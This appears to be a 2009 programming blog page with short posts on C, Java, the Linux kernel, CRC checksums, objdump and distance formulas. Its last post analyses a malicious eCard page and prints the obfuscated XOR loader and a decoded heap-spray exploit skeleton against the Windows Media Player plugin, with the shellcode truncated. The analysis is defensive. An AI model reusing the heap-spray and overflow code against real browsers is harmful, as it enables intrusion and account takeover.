19 Aug 2009, 12:32pm

by Layne

leave a comment

asprintf

Over a year ago, I created a new function called sprintfAlloc that was like sprintf, except it printed into and returned a newly-allocated chunk of memory. For more details, check out the original post.

In my travels since then, I’ve run across another function, in the GNU C library, that does the same thing. This function is called asprintf, and has this signature:

int asprintf(char** ret, const char* format, ...);

For more information, check out the manual page.

Java Code Profiling

Here is a very small Java class to help time function calls or sections of code. Of course, it won’t be exactly right on (due to scheduling issues, etc), but it’s pretty good at helping with initial profiling and performance measurements.


public class Stopwatch
{
    private long start;
    private long stop;
    
    public void start()
    {
        // start timing
        start = System.currentTimeMillis();
    }
    
    public void stop()
    {
        // stop timing
        stop = System.currentTimeMillis();
    }
    
    public long elapsedTimeMillis()
    {
        return stop - start;
    }
    
    public String toString()
    {
        // print execution time
        return "elapsedTimeMillis: " + Long.toString(elapsedTimeMillis());
    }
}

Weather Radar Desktop Background

Sample image from NOAA radar weather image

Sample image from NOAA radar weather image

The United States National Oceanic and Atmospheric Administration (NOAA) provides high quality weather forecasts and current weather condition information online. One of their features is a complete ground-based radar map of the entire lower 48 states, in a single, very large image file. I decided that it would be useful and pretty cool to have this large radar weather map as my dual-monitor desktop background. It would only be useful and cool if it updated itself automatically every few minutes, so I could quickly see what the weather was going to be.
more »

Integer Square-root Function

While browsing the Linux kernel source this morning at work, I stumbled upon this little gem. As you may already know, kernel code can’t use any floating-point calculations, since the state of the Floating Point Unit (FPU) isn’t saved during context switches to kernel-space. This function computes the integer square root of the provided integer. It returns the largest integer less than or equal to the true square root of the input number. Code and sample output provided after the break.
more »

16-bit CRC-CCITT

The proper way to implement the CCITT CRC-16 checksum. Apparently many websites and tutorials are giving bad information and source code, so beware!

CRC-CCITT — 16-bit

Robots Unite!

I saw this in a robots.txt file on a friend’s webserver:

# robots unite!

# please contact robots (at) jtolds (dot) com to enlist in the grand robot army.
# to be eligible you must pass a simplified turing test.

Fun with objdump!

In many introductory computer science discussions, the use of the increment and decrement operators is seen as sloppy and potentially confusing, especially when the pre- or post- property is used to save code. Have you ever wondered if the compiler figured out what you meant, when you said “x = x + 1″ instead of “x++” or even “x += 1″? Using a utility called objdump, you can see the assembly code the compiler actually produced.

I have created four source code files to demonstrate this functionality. To simplify the compiler’s output, I’m just creating an object file from a single function with a single statement. There’s no main method to get in the way, just the function foo(). I compiled each one of these examples with the following command:
gcc -Wall -W -g -c -o test.o test.c

  1. Increment – Since there is always an increment processor instruction, the compiler directly converts the increment statement in C to an increment long (incl) instruction:
    void foo(int x)
    {
        x++;
    }
    This is compiled to:
    void foo(int x)
    {
        0: 55 push %ebp
        1: 89 e5 mov %esp,%ebp
            x++;
        3: ff 45 08 incl 0x8(%ebp)
    }
        6: c9 leave
        7: c3 ret
  2. Plus-Equals – GCC has figured out that x += 1 is the same as x++:
    void foo(int x)
    {
        x += 1;
    }
    This is compiled to:
    void foo(int x)
    {
        0: 55 push %ebp
        1: 89 e5 mov %esp,%ebp
            x += 1;
        3: ff 45 08 incl 0x8(%ebp)
    }
        6: c9 leave
        7: c3 ret
  3. Plus
    void foo(int x)
    {
        x = x + 1;
    }
    This is compiled to:
    void foo(int x)
    {
        0: 55 push %ebp
        1: 89 e5 mov %esp,%ebp
            x = x + 1;
        3: ff 45 08 incl 0x8(%ebp)
    }
        6: c9 leave
        7: c3 ret

Distance Calculation using Latitude and Longitude

Because of the near-spherical shape of the Earth, technically an oblate spheroid, calculating an accurate distance between two points requires the use of spherical geometry and trigonometric math functions. However, you can calculate an approximate distance using much simpler math functions. For many applications the approximate distance calculations provide sufficient accuracy with much less computational complexity.

Distance Calculation using Latitude and Longitude

There are a number of different approximations to calculate the surface-distance on a sphere using latitude & longitude coordinates. For my personal edification, I’m going to do some sample calculations for the distance between New York City (40°43′N 74°00′W) and Los Angeles (34°03′N 118°15′W), as well as between Eau Claire, WI (44°48′53″N 91°29′34″W) and Minneapolis, MN (44°58′48.36″N 93°15′6.72″W).

I’m going to convert to strictly degrees right away to ease the calculations:
Eau Claire: 44.8147°N 91.4928°W
Minneapolis: 44.8833°N 93.2519°W
New York City: 40.7167°N 74°W
Los Angeles: 34.05°N 118.25°W

  1. Basic Math: This method only uses addition, subtraction, and multiplication, and is a basic application of Pythagoras’ theorem, a^2 + b^2 = c^2.

    Approximate distance in miles = sqrt(x * x + y * y)
    where y = 69.1 * (lat2 - lat1)
    and x = 53.0 * (lon2 - lon1)

    By this method, the distance from Eau Claire to Minneapolis is 93.3527 miles, and the distance from NYC to LA is 2390.0656 miles.
  2. Basic Math plus Trig: Add in a cosine term, and things get better:
    Approximate distance in miles = sqrt(x * x + y * y)
    where y = 69.1 * (lat2 - lat1)
    and x = 69.1 * (lon2 - lon1) * cos(lat1/57.3)

    By this method, the distance from Eau Claire to Minneapolis is 86.2617 miles, and the distance from NYC to LA is 2575.0506.
  3. Great Circle Distance Formula: Using real spherical coordinates, this formula will give us the ‘perfect’ answer, to the accuracy of our input numbers:
    Distance in miles = 3963.0 * arctan[sqrt(1-x^2)/x]
    where
    x = [sin(lat1/57.2958) * sin(lat2/57.2958)] + [cos(lat1/57.2958) * cos(lat2/57.2958) * cos(lon2/57.2958 - lon1/57.2958)]

    By this method, the distance from Eau Claire to Minneapolis is 86.3905 miles, and the distance from NYC to LA is 2448.8690 miles.

Source Webpage: Distance Calculation using Latitude and Longitude

See Also:

Plug: LED Bargraph

LED Bargraph - Animated Gif

Abstract: This project is a precursor to my forthcoming accelerometer project. I wanted to be able to visualize an analog signal using LED bargraph displays. In this project I explore capturing and smoothing an analog input signal, pseudo-multiplexing of output, and using a transistor as a switch to switch more current than the microcontroller can handle.

General Description: The device I am using for this project, the PIC18F452, has an integrated Analog to Digital (ADC) converter. This allows the microcontroller to measure an analog signal between 0 and 5 volts, and convert it to a 10-bit binary number. I am using a variable resistor, also known as a potentiometer, to easily create an analog voltage at pin 1 (AN0). In my program, I measure this value 128 times in a row, and then calculate the average of these 128 samples. The average voltage is scaled to be an integer between -10 and 10, inclusive on both ends. An appropriate number of LED segments are lit to represent the value.

LED Bargraph

Well this is a new idea…or maybe not.

I was redirected to a humorous (and by humorous, I mean pathetic) website attempting to infect me with a virus (or so I thought, see below), under the false premise that I had just received an eCard from “a relative”. I took a look at the source code, and an realized that most of the website was seemingly binary data in a javascript function. I dug a bit deeper, and found that they had written a little XOR routine in javascript to transform their ‘binary’ data into actual html, and were using the function to hide the true intent from the casual observer. Here is the function, and a small sample of the ‘binary’ data they included:

Phase One:

<Script Language='JavaScript'>
function xor_str(plain_str, xor_key)
{
    var xored_str = "";
    for (var i = 0 ; i < plain_str.length; ++i)
        xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
    return xored_str;
}
var plain_str = "\xbd\x97\x97\x97\x97 ...(There was a lot of stuff here).... \xa3\xbd";
var xored_str = xor_str(plain_str, 157);
document.write(xored_str);
</script>

Phase Two:
I have translated this mess, and come up with the following much-less cryptic code:


<HTML>
<HEAD>
<SCRIPT>
    var s=unescape("% u4141%u 4141%u 4141%u 4141%u 4141%u 4141%u 4141%u 4141");
    //There were no spaces in the original string above,
    // I removed them so they wouldn't be changed.
    // The same thing applies below...
    do
    {
        s+=s;
    }
    while (s.length<0x0900000);
    
    s += unescape("%u 54EB%u 758B ...lots of data was here... %u 702E%u 7068");
</SCRIPT>
</HEAD>
<BODY>
<EMBED SRC="-------(lots more hyphens...)-----AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAA (char 0x05)NNNNOOOOAAA (char 0x05)QQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ 0000111122223333444455556666777788889999.wmv"></EMBED>
</BODY>
</HTML>

Breakthrough:
Now, at this point, while trying to find out how to escape those pesky "% u" encodings, I stumbled upon a number of 'cracker' websites talking about a remote overflow in the Windows Media Player browser plugin. Turns out that this is a 'classic' heap spraying (s stands for spray) technique designed to exploit the buffer overflow. The character 0x41 is the letter 'A', and is also a NOP in windows' shellcode. The code generates an incredible number (16 MB worth) of NOP instructions, presumably enough to get past the runtime structures in the plugin's memory. After this massive dump of NOP's, the actual dangerous code is sent, which is apparently a standard Win32 "add administrator" payload from the website Metasploit, which creates a new local administrator with the username 'wmp0wn3d' and password 'password'.

So it turns out that it wasn't just a lame virus install attempt, but also an attempt to exploit a browser plugin security hole. Hurrah for microsoft!

Further Reading: